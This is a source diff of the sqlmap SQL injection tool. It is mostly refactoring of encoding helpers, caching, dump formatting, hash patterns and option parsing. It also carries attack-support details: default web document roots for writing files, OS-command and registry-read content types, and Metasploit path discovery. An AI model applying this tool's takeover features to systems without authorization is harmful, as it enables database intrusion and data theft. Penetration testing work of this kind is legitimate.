-def encodeBase64(value, binary=True):
+def encodeBase64(value, binary=True, encoding=None):
     """
     Returns a decoded representation of provided Base64 value
 
@@ -206,12 +212,12 @@ def encodeBase64(value, binary=True):
     """
 
     if isinstance(value, six.text_type):
-        value = value.encode(UNICODE_ENCODING)
+        value = value.encode(encoding or UNICODE_ENCODING)
 
     retVal = base64.b64encode(value)
 
     if not binary:
-        retVal = getText(retVal)
+        retVal = getText(retVal, encoding)
 
     return retVal
 
@@ -257,7 +263,7 @@ def getOrds(value):
 
 def getUnicode(value, encoding=None, noneToNull=False):
     """
-    Return the unicode representation of the supplied value:
+    Returns the unicode representation of the supplied value
 
     >>> getUnicode('test') == u'test'
     True
@@ -299,7 +305,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
         except UnicodeDecodeError:
             return six.text_type(str(value), errors="ignore")  # encoding ignored for non-basestring instances
 
-def getText(value):
+def getText(value, encoding=None):
     """
     Returns textual value of a given value (Note: not necessary Unicode on Python2)
 
@@ -312,7 +318,7 @@ def getText(value):
     retVal = value
 
     if isinstance(value, six.binary_type):
-        retVal = getUnicode(value)
+        retVal = getUnicode(value, encoding)
 
     if six.PY2:
         try:
@@ -345,7 +351,7 @@ def stdoutEncode(value):
         kb.codePage = kb.codePage or ""
 
     if isinstance(value, six.text_type):
-        encoding = kb.get("codePage") or sys.stdout.encoding or UNICODE_ENCODING
+        encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING
 
         while True:
             try:
@@ -369,3 +375,20 @@ def stdoutEncode(value):
         retVal = value
 
     return retVal
+
+def getConsoleLength(value):
+    """
+    Returns console width of unicode values
+
+    >>> getConsoleLength("abc")
+    3
+    >>> getConsoleLength(u"\\u957f\\u6c5f")
+    4
+    """
+
+    if isinstance(value, six.text_type):
+        retVal = sum((2 if ord(_) >= 0x3000 else 1) for _ in value)
+    else:
+        retVal = len(value)
+
+    return retVal

lib/core/decorators.py

@@ -9,14 +9,16 @@ import functools
 import hashlib
 import threading
 
+from lib.core.datatype import LRUDict
 from lib.core.settings import MAX_CACHE_ITEMS
 from lib.core.settings import UNICODE_ENCODING
-from lib.core.datatype import LRUDict
 from lib.core.threads import getCurrentThreadData
 
-_lock = threading.Lock()
+_cache = {}
+_cache_lock = threading.Lock()
+_method_locks = {}
 
-def cachedmethod(f, cache=LRUDict(capacity=MAX_CACHE_ITEMS)):
+def cachedmethod(f):
     """
     Method with a cached content
 
@@ -33,22 +35,24 @@ def cachedmethod(f, cache=LRUDict(capacity=MAX_CACHE_ITEMS)):
     Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/
     """
 
+    _cache[f] = LRUDict(capacity=MAX_CACHE_ITEMS)
+
     @functools.wraps(f)
-    def _(*args, **kwargs):
+    def _f(*args, **kwargs):
         key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
 
         try:
-            with _lock:
-                result = cache[key]
+            with _cache_lock:
+                result = _cache[f][key]
         except KeyError:
             result = f(*args, **kwargs)
 
-            with _lock:
-                cache[key] = result
+            with _cache_lock:
+                _cache[f][key] = result
 
         return result
 
-    return _
+    return _f
 
 def stackedmethod(f):
     """
@@ -76,3 +80,16 @@ def stackedmethod(f):
         return result
 
     return _
+
+def lockedmethod(f):
+    @functools.wraps(f)
+    def _(*args, **kwargs):
+        if f not in _method_locks:
+            _method_locks[f] = threading.RLock()
+
+        with _method_locks[f]:
+            result = f(*args, **kwargs)
+
+        return result
+
+    return _

lib/core/defaults.py

@@ -20,7 +20,8 @@ _defaults = {
     "level": 1,
     "risk": 1,
     "dumpFormat": "CSV",
-    "tech": "BEUSTQ",
+    "tablePrefix": "sqlmap",
+    "technique": "BEUSTQ",
     "torType": "SOCKS5",
 }
 

lib/core/dicts.py

@@ -9,21 +9,21 @@ from lib.core.enums import CONTENT_TYPE
 from lib.core.enums import DBMS
 from lib.core.enums import OS
 from lib.core.enums import POST_HINT
+from lib.core.settings import ACCESS_ALIASES
 from lib.core.settings import BLANK
-from lib.core.settings import NULL
+from lib.core.settings import DB2_ALIASES
+from lib.core.settings import FIREBIRD_ALIASES
+from lib.core.settings import H2_ALIASES
+from lib.core.settings import HSQLDB_ALIASES
+from lib.core.settings import INFORMIX_ALIASES
+from lib.core.settings import MAXDB_ALIASES
 from lib.core.settings import MSSQL_ALIASES
 from lib.core.settings import MYSQL_ALIASES
-from lib.core.settings import PGSQL_ALIASES
+from lib.core.settings import NULL
 from lib.core.settings import ORACLE_ALIASES
+from lib.core.settings import PGSQL_ALIASES
 from lib.core.settings import SQLITE_ALIASES
-from lib.core.settings import ACCESS_ALIASES
-from lib.core.settings import FIREBIRD_ALIASES
-from lib.core.settings import MAXDB_ALIASES
 from lib.core.settings import SYBASE_ALIASES
-from lib.core.settings import DB2_ALIASES
-from lib.core.settings import HSQLDB_ALIASES
-from lib.core.settings import H2_ALIASES
-from lib.core.settings import INFORMIX_ALIASES
 
 FIREBIRD_TYPES = {
     261: "BLOB",
@@ -290,10 +290,13 @@ OBSOLETE_OPTIONS = {
     "--purge-output": "use '--purge' instead",
     "--check-payload": None,
     "--check-waf": None,
-    "--identify-waf": "functionality being done automatically",
     "--pickled-options": "use '--api -c ...' instead",
 }
 
+DEPRECATED_OPTIONS = {
+    "--identify-waf": "functionality being done automatically",
+}
+
 DUMP_DATA_PREPROCESS = {
     DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"},  # Reference: https://www.tibcommunity.com/docs/DOC-3643
     DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"},
@@ -301,7 +304,7 @@ DUMP_DATA_PREPROCESS = {
 
 DEFAULT_DOC_ROOTS = {
     OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"),
-    OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default", "/srv/www")  # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
+    OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs")  # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
 }
 
 PART_RUN_CONTENT_TYPES = {
@@ -331,3 +334,260 @@ PART_RUN_CONTENT_TYPES = {
     "osCmd": CONTENT_TYPE.OS_CMD,
     "regRead": CONTENT_TYPE.REG_READ
 }
+
+# Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html
+
+HTML_ENTITIES = {
+    "quot": 34,
+    "amp": 38,
+    "lt": 60,
+    "gt": 62,
+    "nbsp": 160,
+    "iexcl": 161,
+    "cent": 162,
+    "pound": 163,
+    "curren": 164,
+    "yen": 165,
+    "brvbar": 166,
+    "sect": 167,
+    "uml": 168,
+    "copy": 169,
+    "ordf": 170,
+    "laquo": 171,
+    "not": 172,
+    "shy": 173,
+    "reg": 174,
+    "macr": 175,
+    "deg": 176,
+    "plusmn": 177,
+    "sup2": 178,
+    "sup3": 179,
+    "acute": 180,
+    "micro": 181,
+    "para": 182,
+    "middot": 183,
+    "cedil": 184,
+    "sup1": 185,
+    "ordm": 186,
+    "raquo": 187,
+    "frac14": 188,
+    "frac12": 189,
+    "frac34": 190,
+    "iquest": 191,
+    "Agrave": 192,
+    "Aacute": 193,
+    "Acirc": 194,
+    "Atilde": 195,
+    "Auml": 196,
+    "Aring": 197,
+    "AElig": 198,
+    "Ccedil": 199,
+    "Egrave": 200,
+    "Eacute": 201,
+    "Ecirc": 202,
+    "Euml": 203,
+    "Igrave": 204,
+    "Iacute": 205,
+    "Icirc": 206,
+    "Iuml": 207,
+    "ETH": 208,
+    "Ntilde": 209,
+    "Ograve": 210,
+    "Oacute": 211,
+    "Ocirc": 212,
+    "Otilde": 213,
+    "Ouml": 214,
+    "times": 215,
+    "Oslash": 216,
+    "Ugrave": 217,
+    "Uacute": 218,
+    "Ucirc": 219,
+    "Uuml": 220,
+    "Yacute": 221,
+    "THORN": 222,
+    "szlig": 223,
+    "agrave": 224,
+    "aacute": 225,
+    "acirc": 226,
+    "atilde": 227,
+    "auml": 228,
+    "aring": 229,
+    "aelig": 230,
+    "ccedil": 231,
+    "egrave": 232,
+    "eacute": 233,
+    "ecirc": 234,
+    "euml": 235,
+    "igrave": 236,
+    "iacute": 237,
+    "icirc": 238,
+    "iuml": 239,
+    "eth": 240,
+    "ntilde": 241,
+    "ograve": 242,
+    "oacute": 243,
+    "ocirc": 244,
+    "otilde": 245,
+    "ouml": 246,
+    "divide": 247,
+    "oslash": 248,
+    "ugrave": 249,
+    "uacute": 250,
+    "ucirc": 251,
+    "uuml": 252,
+    "yacute": 253,
+    "thorn": 254,
+    "yuml": 255,
+    "OElig": 338,
+    "oelig": 339,
+    "Scaron": 352,
+    "fnof": 402,
+    "scaron": 353,
+    "Yuml": 376,
+    "circ": 710,
+    "tilde": 732,
+    "Alpha": 913,
+    "Beta": 914,
+    "Gamma": 915,
+    "Delta": 916,
+    "Epsilon": 917,
+    "Zeta": 918,
+    "Eta": 919,
+    "Theta": 920,
+    "Iota": 921,
+    "Kappa": 922,
+    "Lambda": 923,
+    "Mu": 924,
+    "Nu": 925,
+    "Xi": 926,
+    "Omicron": 927,
+    "Pi": 928,
+    "Rho": 929,
+    "Sigma": 931,
+    "Tau": 932,
+    "Upsilon": 933,
+    "Phi": 934,
+    "Chi": 935,
+    "Psi": 936,
+    "Omega": 937,
+    "alpha": 945,
+    "beta": 946,
+    "gamma": 947,
+    "delta": 948,
+    "epsilon": 949,
+    "zeta": 950,
+    "eta": 951,
+    "theta": 952,
+    "iota": 953,
+    "kappa": 954,
+    "lambda": 955,
+    "mu": 956,
+    "nu": 957,
+    "xi": 958,
+    "omicron": 959,
+    "pi": 960,
+    "rho": 961,
+    "sigmaf": 962,
+    "sigma": 963,
+    "tau": 964,
+    "upsilon": 965,
+    "phi": 966,
+    "chi": 967,
+    "psi": 968,
+    "omega": 969,
+    "thetasym": 977,
+    "upsih": 978,
+    "piv": 982,
+    "bull": 8226,
+    "hellip": 8230,
+    "prime": 8242,
+    "Prime": 8243,
+    "oline": 8254,
+    "frasl": 8260,
+    "ensp": 8194,
+    "emsp": 8195,
+    "thinsp": 8201,
+    "zwnj": 8204,
+    "zwj": 8205,
+    "lrm": 8206,
+    "rlm": 8207,
+    "ndash": 8211,
+    "mdash": 8212,
+    "lsquo": 8216,
+    "rsquo": 8217,
+    "sbquo": 8218,
+    "ldquo": 8220,
+    "rdquo": 8221,
+    "bdquo": 8222,
+    "dagger": 8224,
+    "Dagger": 8225,
+    "permil": 8240,
+    "lsaquo": 8249,
+    "rsaquo": 8250,
+    "euro": 8364,
+    "weierp": 8472,
+    "image": 8465,
+    "real": 8476,
+    "trade": 8482,
+    "alefsym": 8501,
+    "larr": 8592,
+    "uarr": 8593,
+    "rarr": 8594,
+    "darr": 8595,
+    "harr": 8596,
+    "crarr": 8629,
+    "lArr": 8656,
+    "uArr": 8657,
+    "rArr": 8658,
+    "dArr": 8659,
+    "hArr": 8660,
+    "forall": 8704,
+    "part": 8706,
+    "exist": 8707,
+    "empty": 8709,
+    "nabla": 8711,
+    "isin": 8712,
+    "notin": 8713,
+    "ni": 8715,
+    "prod": 8719,
+    "sum": 8721,
+    "minus": 8722,
+    "lowast": 8727,
+    "radic": 8730,
+    "prop": 8733,
+    "infin": 8734,
+    "ang": 8736,
+    "and": 8743,
+    "or": 8744,
+    "cap": 8745,
+    "cup": 8746,
+    "int": 8747,
+    "there4": 8756,
+    "sim": 8764,
+    "cong": 8773,
+    "asymp": 8776,
+    "ne": 8800,
+    "equiv": 8801,
+    "le": 8804,
+    "ge": 8805,
+    "sub": 8834,
+    "sup": 8835,
+    "nsub": 8836,
+    "sube": 8838,
+    "supe": 8839,
+    "oplus": 8853,
+    "otimes": 8855,
+    "perp": 8869,
+    "sdot": 8901,
+    "lceil": 8968,
+    "rceil": 8969,
+    "lfloor": 8970,
+    "rfloor": 8971,
+    "lang": 9001,
+    "rang": 9002,
+    "loz": 9674,
+    "spades": 9824,
+    "clubs": 9827,
+    "hearts": 9829,
+    "diams": 9830
+}

lib/core/dump.py

@@ -28,6 +28,7 @@ from lib.core.common import safeCSValue
 from lib.core.common import unsafeSQLIdentificatorNaming
 from lib.core.compat import xrange
 from lib.core.convert import getBytes
+from lib.core.convert import getConsoleLength
 from lib.core.convert import getText
 from lib.core.convert import getUnicode
 from lib.core.data import conf
@@ -39,8 +40,8 @@ from lib.core.enums import CONTENT_TYPE
 from lib.core.enums import DBMS
 from lib.core.enums import DUMP_FORMAT
 from lib.core.exception import SqlmapGenericException
-from lib.core.exception import SqlmapValueException
 from lib.core.exception import SqlmapSystemException
+from lib.core.exception import SqlmapValueException
 from lib.core.replication import Replication
 from lib.core.settings import DUMP_FILE_BUFFER_SIZE
 from lib.core.settings import HTML_DUMP_CSS_STYLE
@@ -52,11 +53,10 @@ from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
 from lib.core.settings import VERSION_STRING
 from lib.core.settings import WINDOWS_RESERVED_NAMES
+from lib.utils.safe2bin import safechardecode
 from thirdparty import six
 from thirdparty.magic import magic
 
-from extra.safe2bin.safe2bin import safechardecode
-
 class Dump(object):
     """
     This class defines methods used to parse and output the results
@@ -198,7 +198,7 @@ class Dump(object):
             self._areAdmins = userSettings[1]
             userSettings = userSettings[0]
 
-        users = list(userSettings.keys())
+        users = [_ for _ in userSettings.keys() if _ is not None]
         users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
 
         if conf.api:
@@ -246,7 +246,7 @@ class Dump(object):
                     if table and isListLike(table):
                         table = table[0]
 
-                    maxlength = max(maxlength, len(unsafeSQLIdentificatorNaming(normalizeUnicode(table) or getUnicode(table))))
+                    maxlength = max(maxlength, getConsoleLength(unsafeSQLIdentificatorNaming(getUnicode(table))))
 
             lines = "-" * (int(maxlength) + 2)
 
@@ -267,7 +267,7 @@ class Dump(object):
                         table = table[0]
 
                     table = unsafeSQLIdentificatorNaming(table)
-                    blank = " " * (maxlength - len(normalizeUnicode(table) or getUnicode(table)))
+                    blank = " " * (maxlength - getConsoleLength(getUnicode(table)))
                     self._write("| %s%s |" % (table, blank))
 
                 self._write("+%s+\n" % lines)
@@ -362,7 +362,7 @@ class Dump(object):
             for ctables in dbTables.values():
                 for tables in ctables.values():
                     for table in tables:
-                        maxlength1 = max(maxlength1, len(normalizeUnicode(table) or getUnicode(table)))
+                        maxlength1 = max(maxlength1, getConsoleLength(getUnicode(table)))
 
             for db, counts in dbTables.items():
                 self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
@@ -388,7 +388,7 @@ class Dump(object):
                     tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
 
                     for table in tables:
-                        blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or getUnicode(table)))
+                        blank1 = " " * (maxlength1 - getConsoleLength(getUnicode(table)))
                         blank2 = " " * (maxlength2 - len(str(count)))
                         self._write("| %s%s | %d%s |" % (table, blank1, count, blank2))
 
@@ -548,7 +548,7 @@ class Dump(object):
 
                 column = unsafeSQLIdentificatorNaming(column)
                 maxlength = int(info["length"])
-                blank = " " * (maxlength - len(column))
+                blank = " " * (maxlength - getConsoleLength(column))
 
                 self._write("| %s%s" % (column, blank), newline=False)
 
@@ -603,7 +603,7 @@ class Dump(object):
 
                     values.append(value)
                     maxlength = int(info["length"])
-                    blank = " " * (maxlength - len(value))
+                    blank = " " * (maxlength - getConsoleLength(value))
                     self._write("| %s%s" % (value, blank), newline=False, console=console)
 
                     if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
@@ -618,9 +618,10 @@ class Dump(object):
                                 warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
                                 logger.warn(warnMsg)
 
-                                with open(filepath, "wb") as f:
+                                with openFile(filepath, "w+b", None) as f:
                                     _ = safechardecode(value, True)
                                     f.write(_)
+
                         except magic.MagicException as ex:
                             logger.debug(getSafeExString(ex))
 
@@ -676,28 +677,28 @@ class Dump(object):
             else:
                 colConsiderStr = " '%s' was" % unsafeSQLIdentificatorNaming(column)
 
-            msg = "column%s found in the " % colConsiderStr
-            msg += "following databases:"
-            self._write(msg)
-
-            _ = {}
-
+            found = {}
             for db, tblData in dbs.items():
                 for tbl, colData in tblData.items():
                     for col, dataType in colData.items():
                         if column.lower() in col.lower():
-                            if db in _:
-                                if tbl in _[db]:
-                                    _[db][tbl][col] = dataType
+                            if db in found:
+                                if tbl in found[db]:
+                                    found[db][tbl][col] = dataType
                                 else:
-                                    _[db][tbl] = {col: dataType}
+                                    found[db][tbl] = {col: dataType}
                             else:
-                                _[db] = {}
-                                _[db][tbl] = {col: dataType}
+                                found[db] = {}
+                                found[db][tbl] = {col: dataType}
 
                             continue
 
-            self.dbTableColumns(_)
+            if found:
+                msg = "column%s found in the " % colConsiderStr
+                msg += "following databases:"
+                self._write(msg)
+
+                self.dbTableColumns(found)
 
     def sqlQuery(self, query, queryRes):
         self.string(query, queryRes, content_type=CONTENT_TYPE.SQL_QUERY)

lib/core/enums.py

@@ -130,12 +130,12 @@ class HASH(object):
     MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z'
     ORACLE = r'(?i)\As:[0-9a-f]{60}\Z'
     ORACLE_OLD = r'(?i)\A[0-9a-f]{16}\Z'
-    MD5_GENERIC = r'(?i)\A[0-9a-f]{32}\Z'
-    SHA1_GENERIC = r'(?i)\A[0-9a-f]{40}\Z'
+    MD5_GENERIC = r'(?i)\A(0x)?[0-9a-f]{32}\Z'
+    SHA1_GENERIC = r'(?i)\A(0x)?[0-9a-f]{40}\Z'
     SHA224_GENERIC = r'(?i)\A[0-9a-f]{56}\Z'
-    SHA256_GENERIC = r'(?i)\A[0-9a-f]{64}\Z'
+    SHA256_GENERIC = r'(?i)\A(0x)?[0-9a-f]{64}\Z'
     SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z'
-    SHA512_GENERIC = r'(?i)\A[0-9a-f]{128}\Z'
+    SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
     CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
     JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
     WORDPRESS = r'\A\$P\$[./0-9a-zA-Z]{31}\Z'
@@ -244,8 +244,8 @@ class HASHDB_KEYS(object):
     OS = "OS"
 
 class REDIRECTION(object):
-    YES = "Y"
-    NO = "N"
+    YES = 'Y'
+    NO = 'N'
 
 class PAYLOAD(object):
     SQLINJECTION = {

lib/core/option.py

@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from __future__ import division
+
 import functools
 import glob
 import inspect
@@ -24,8 +26,6 @@ from lib.core.common import boldifyMessage
 from lib.core.common import checkFile
 from lib.core.common import dataToStdout
 from lib.core.common import decodeStringEscape
-from lib.core.common import getPublicTypeMembers
-from lib.core.common import getSafeExString
 from lib.core.common import fetchRandomAgent
 from lib.core.common import filterNone
 from lib.core.common import findLocalPort
@@ -33,6 +33,8 @@ from lib.core.common import findPageForms
 from lib.core.common import getConsoleWidth
 from lib.core.common import getFileItems
 from lib.core.common import getFileType
+from lib.core.common import getPublicTypeMembers
+from lib.core.common import getSafeExString
 from lib.core.common import intersect
 from lib.core.common import normalizePath
 from lib.core.common import ntToPosixSlashes
@@ -107,6 +109,7 @@ from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
 from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
 from lib.core.settings import DEFAULT_USER_AGENT
 from lib.core.settings import DUMMY_URL
+from lib.core.settings import IGNORE_CODE_WILDCARD
 from lib.core.settings import IS_WIN
 from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
 from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET
@@ -132,19 +135,19 @@ from lib.parse.payloads import loadBoundaries
 from lib.parse.payloads import loadPayloads
 from lib.parse.sitemap import parseSitemap
 from lib.request.basic import checkCharEncoding
-from lib.request.connect import Connect as Request
-from lib.request.dns import DNSServer
 from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler
 from lib.request.chunkedhandler import ChunkedHandler
+from lib.request.connect import Connect as Request
+from lib.request.dns import DNSServer
 from lib.request.httpshandler import HTTPSHandler
 from lib.request.pkihandler import HTTPSPKIAuthHandler
 from lib.request.rangehandler import HTTPRangeHandler
 from lib.request.redirecthandler import SmartRedirectHandler
-from lib.utils.har import HTTPCollectorFactory
 from lib.utils.crawler import crawl
 from lib.utils.deps import checkDependencies
-from lib.utils.search import search
+from lib.utils.har import HTTPCollectorFactory
 from lib.utils.purge import purge
+from lib.utils.search import search
 from thirdparty import six
 from thirdparty.keepalive import keepalive
 from thirdparty.multipart import multipartpost
@@ -291,6 +294,7 @@ def _setRequestFromFile():
     if conf.requestFile:
         for requestFile in re.split(PARAMETER_SPLITTING_REGEX, conf.requestFile):
             requestFile = safeExpandUser(requestFile)
+            url = None
             seen = set()
 
             if not checkFile(requestFile, False):
@@ -309,6 +313,11 @@ def _setRequestFromFile():
                         conf.multipleTargets = True
                     seen.add(url)
 
+            if url is None:
+                errMsg = "specified file '%s' " % requestFile
+                errMsg += "does not contain a usable HTTP request (with parameters)"
+                raise SqlmapDataException(errMsg)
+
     if conf.secondReq:
         conf.secondReq = safeExpandUser(conf.secondReq)
 
@@ -333,10 +342,15 @@ def _setCrawler():
         if conf.bulkFile:
             targets = getFileItems(conf.bulkFile)
         else:
-            targets = parseSitemap(conf.sitemapUrl)
+            targets = list(parseSitemap(conf.sitemapUrl))
+
         for i in xrange(len(targets)):
             try:
                 target = targets[i]
+
+                if not re.search(r"(?i)\Ahttp[s]*://", target):
+                    target = "http://%s" % target
+
                 crawl(target)
 
                 if conf.verbose in (1, 2):
@@ -453,25 +467,35 @@ def _findPageForms():
     if conf.url and not checkConnection():
         return
 
+    found = False
     infoMsg = "searching for forms"
     logger.info(infoMsg)
 
     if not any((conf.bulkFile, conf.googleDork, conf.sitemapUrl)):
-        page, _, _ = Request.queryPage(content=True)
-        findPageForms(page, conf.url, True, True)
+        page, _, _ = Request.queryPage(content=True, ignoreSecondOrder=True)
+        if findPageForms(page, conf.url, True, True):
+            found = True
     else:
         if conf.bulkFile:
             targets = getFileItems(conf.bulkFile)
         elif conf.sitemapUrl:
-            targets = parseSitemap(conf.sitemapUrl)
+            targets = list(parseSitemap(conf.sitemapUrl))
         elif conf.googleDork:
             targets = [_[0] for _ in kb.targets]
             kb.targets.clear()
+        else:
+            targets = []
+
         for i in xrange(len(targets)):
             try:
-                target = targets[i]
+                target = targets[i].strip()
+
+                if not re.search(r"(?i)\Ahttp[s]*://", target):
+                    target = "http://%s" % target
+
                 page, _, _ = Request.getPage(url=target.strip(), cookie=conf.cookie, crawling=True, raise404=False)
-                findPageForms(page, target, False, True)
+                if findPageForms(page, target, False, True):
+                    found = True
 
                 if conf.verbose in (1, 2):
                     status = '%d/%d links visited (%d%%)' % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets)))
@@ -482,6 +506,10 @@ def _findPageForms():
                 errMsg = "problem occurred while searching for forms at '%s' ('%s')" % (target, getSafeExString(ex))
                 logger.error(errMsg)
 
+    if not found:
+        warnMsg = "no forms found"
+        logger.warn(warnMsg)
+
 def _setDBMSAuthentication():
     """
     Check and set the DBMS authentication credentials to run statements as
@@ -520,26 +548,14 @@ def _setMetasploit():
             errMsg = "sqlmap requires third-party module 'pywin32' "
             errMsg += "in order to use Metasploit functionalities on "
             errMsg += "Windows. You can download it from "
-            errMsg += "'https://sourceforge.net/projects/pywin32/files/pywin32/'"
+            errMsg += "'https://github.com/mhammond/pywin32'"
             raise SqlmapMissingDependence(errMsg)
 
         if not conf.msfPath:
-            def _(key, value):
-                retVal = None
-
-                try:
-                    from six.moves.winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE
-                    _ = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
-                    _ = OpenKey(_, key)
-                    retVal = QueryValueEx(_, value)[0]
-                except:
-                    logger.debug("unable to identify Metasploit installation path via registry key")
-
-                return retVal
-
-            conf.msfPath = _(r"SOFTWARE\Rapid7\Metasploit", "Location")
-            if conf.msfPath:
-                conf.msfPath = os.path.join(conf.msfPath, "msf3")
+            for candidate in os.environ.get("PATH", "").split(';'):
+                if all(_ in candidate for _ in ("metasploit", "bin")):
+                    conf.msfPath = os.path.dirname(candidate.rstrip('\\'))
+                    break
 
     if conf.osSmb:
         isAdmin = runningAsAdmin()
@@ -660,10 +676,10 @@ def _setTechnique():
     validTechniques = sorted(getPublicTypeMembers(PAYLOAD.TECHNIQUE), key=lambda x: x[1])
     validLetters = [_[0][0].upper() for _ in validTechniques]
 
-    if conf.tech and isinstance(conf.tech, six.string_types):
+    if conf.technique and isinstance(conf.technique, six.string_types):
         _ = []
 
-        for letter in conf.tech.upper():
+        for letter in conf.technique.upper():
             if letter not in validLetters:
                 errMsg = "value for --technique must be a string composed "
                 errMsg += "by the letters %s. Refer to the " % ", ".join(validLetters)
@@ -675,7 +691,7 @@ def _setTechnique():
                     _.append(validInt)
                     break
 
-        conf.tech = _
+        conf.technique = _
 
 def _setDBMS():
     """
@@ -1151,13 +1167,13 @@ def _setSafeVisit():
             errMsg = "invalid format of a safe request file"
             raise SqlmapSyntaxException(errMsg)
     else:
-        if not re.search(r"\Ahttp[s]*://", conf.safeUrl):
+        if not re.search(r"(?i)\Ahttp[s]*://", conf.safeUrl):
             if ":443/" in conf.safeUrl:
-                conf.safeUrl = "https://" + conf.safeUrl
+                conf.safeUrl = "https://%s" % conf.safeUrl
             else:
-                conf.safeUrl = "http://" + conf.safeUrl
+                conf.safeUrl = "http://%s" % conf.safeUrl
 
-    if conf.safeFreq <= 0:
+    if (conf.safeFreq or 0) <= 0:
         errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features"
         raise SqlmapSyntaxException(errMsg)
 
@@ -1220,7 +1236,7 @@ def _setHTTPAuthentication():
 
     elif not conf.authType and conf.authCred:
         errMsg = "you specified the HTTP authentication credentials, "
-        errMsg += "but did not provide the type"
+        errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")"
         raise SqlmapSyntaxException(errMsg)
 
     elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.PKI):
@@ -1270,8 +1286,8 @@ def _setHTTPAuthentication():
                 from ntlm import HTTPNtlmAuthHandler
             except ImportError:
                 errMsg = "sqlmap requires Python NTLM third-party library "
-                errMsg += "in order to authenticate via NTLM, "
-                errMsg += "https://github.com/mullender/python-ntlm"
+                errMsg += "in order to authenticate via NTLM. Download from "
+                errMsg += "'https://github.com/mullender/python-ntlm'"
                 raise SqlmapMissingDependence(errMsg)
 
             authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr)
@@ -1299,6 +1315,9 @@ def _setHTTPExtraHeaders():
 
                 if header and value:
                     conf.httpHeaders.append((header, value))
+            elif headerValue.startswith('@'):
+                checkFile(headerValue[1:])
+                kb.headersFile = headerValue[1:]
             else:
                 errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u')
                 raise SqlmapSyntaxException(errMsg)
@@ -1451,6 +1470,9 @@ def _createHomeDirectories():
     Creates directories inside sqlmap's home directory
     """
 
+    if conf.get("purge"):
+        return
+
     for context in "output", "history":
         directory = paths["SQLMAP_%s_PATH" % context.upper()]
         try:
@@ -1461,7 +1483,7 @@ def _createHomeDirectories():
             open(_, "w+b").close()
             os.remove(_)
 
-            if conf.outputDir and context == "output":
+            if conf.get("outputDir") and context == "output":
                 warnMsg = "using '%s' as the %s directory" % (directory, context)
                 logger.warn(warnMsg)
         except (OSError, IOError) as ex:
@@ -1555,6 +1577,18 @@ def _cleanupOptions():
     else:
         conf.testParameter = []
 
+    if conf.ignoreCode:
+        if conf.ignoreCode == IGNORE_CODE_WILDCARD:
+            conf.ignoreCode = xrange(0, 1000)
+        else:
+            try:
+                conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)]
+            except ValueError:
+                errMsg = "options '--ignore-code' should contain a list of integer values or a wildcard value '%s'" % IGNORE_CODE_WILDCARD
+                raise SqlmapSyntaxException(errMsg)
+    else:
+        conf.ignoreCode = []
+
     if conf.paramFilter:
         conf.paramFilter = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.paramFilter.upper())]
     else:
@@ -1574,8 +1608,19 @@ def _cleanupOptions():
         conf.user = conf.user.replace(" ", "")
 
     if conf.rParam:
-        conf.rParam = conf.rParam.replace(" ", "")
-        conf.rParam = re.split(PARAMETER_SPLITTING_REGEX, conf.rParam)
+        if all(_ in conf.rParam for _ in ('=', ',')):
+            original = conf.rParam
+            conf.rParam = []
+            for part in original.split(';'):
+                if '=' in part:
+                    left, right = part.split('=', 1)
+                    conf.rParam.append(left)
+                    kb.randomPool[left] = filterNone(_.strip() for _ in right.split(','))
+                else:
+                    conf.rParam.append(part)
+        else:
+            conf.rParam = conf.rParam.replace(" ", "")
+            conf.rParam = re.split(PARAMETER_SPLITTING_REGEX, conf.rParam)
     else:
         conf.rParam = []
 
